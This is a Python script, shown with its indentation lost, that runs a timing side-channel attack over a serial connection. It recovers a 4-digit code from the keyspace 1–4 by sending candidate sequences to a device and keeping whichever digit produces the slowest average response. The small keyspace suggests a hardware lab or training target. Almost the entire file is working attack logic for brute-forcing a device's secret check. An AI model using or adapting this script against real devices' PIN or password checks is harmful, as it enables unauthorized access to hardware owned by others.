import serial
import time
# Constants
SERIAL_PORT = '/dev/ttyUSB0'
BAUD_RATE = 9600
PREFIX = ""
ATTEMPTS = 3
DELAY = 0.8
KEYSPACE = ["1", "2", "3", "4"]
LENGTH = 4
def get_response_time(serial_port, message):
"""
Function to send message, wait for response, and measure response time.
"""
# Flush the input buffer to clear any leftover data
serial_port.flushInput()
first_line_received = False
# Send each character in the message with a delay
for i, char in enumerate(message):
time.sleep(DELAY) # Delay before sending the character
serial_port.write(char.encode()) # Send one character at a time
#print(f"sending: {char}")
if i < len(message)-1:
#print(f"reading")
raw_response = serial_port.readline()
# After sending all characters, we will read until we get the first line (complete response)
raw_response = b'' # Initialize the response variable
while True:
byte = serial_port.read(1) # Read one byte at a time
if byte:
if byte == b'\n' and not first_line_received:
first_line_received = True # The first line has been received
# Do not start timing yet; we need to wait for the next line after the first one
elif first_line_received:
# Start measuring response time after the first line is fully received
start_time = time.time()
break # We begin timing here, immediately after the first line has been read
final_response = serial_port.readline().decode(errors='ignore').strip()
# Now read the rest of the response and stop when the second newline is encountered
#final_response = raw_response.decode(errors='ignore').strip() # Decode the response
# Measure the time taken for the second line (after the first)
response_time = time.time() - start_time
# Debug message to show what was sent, received, and the response time
print(f"\rSent: {message}, Response: {final_response}, Response Time: {response_time:.4f} seconds", end='', flush=True)
time.sleep(DELAY)
return final_response, response_time
def calculate_average_response_time(serial_port, message):
"""
Calculate average response time over multiple attempts.
"""
total_time = 0
response_times = []
# Try multiple attempts to get the average response time
for _ in range(ATTEMPTS):
response, response_time = get_response_time(serial_port, message)
total_time += response_time
response_times.append(response_time)
average_time = total_time / ATTEMPTS
print(f"\r{message} average: {average_time:.4f} seconds ", flush=True)
return average_time, response_times
def identify_sequence(serial_port):
"""
Identify the complete sequence of characters by sending test sequences.
"""
prefix = ""
# Loop over all positions in the sequence (length 4 in this case)
for pos in range(LENGTH):
slowest_avg = float('-inf') # Initialize with the smallest possible number to track the largest value
best_digit = None
# Try each character in the keyspace for this position
for key in KEYSPACE:
# Build message for this position
message = prefix + key + key * (LENGTH - len(prefix) - 1)
print(f"Testing: {message}", end='', flush=True)
# Get the average response time for this message
avg_time, _ = calculate_average_response_time(serial_port, message)
# Track the slowest (highest average response time)
if avg_time > slowest_avg: # Modify comparison to choose the longest time
slowest_avg = avg_time
best_digit = key
# Append the best digit found to the prefix
prefix += best_digit
print(f"Best digit for position {pos + 1}: {best_digit} (Average response time: {slowest_avg:.4f} seconds)")
return prefix
def main():
# Open the serial port
with serial.Serial(SERIAL_PORT, BAUD_RATE, timeout=1) as serial_port:
print(f"Starting sequence identification on port {SERIAL_PORT}...")
sequence = identify_sequence(serial_port)
print(f"Identified sequence: {sequence}")
if __name__ == '__main__':
main()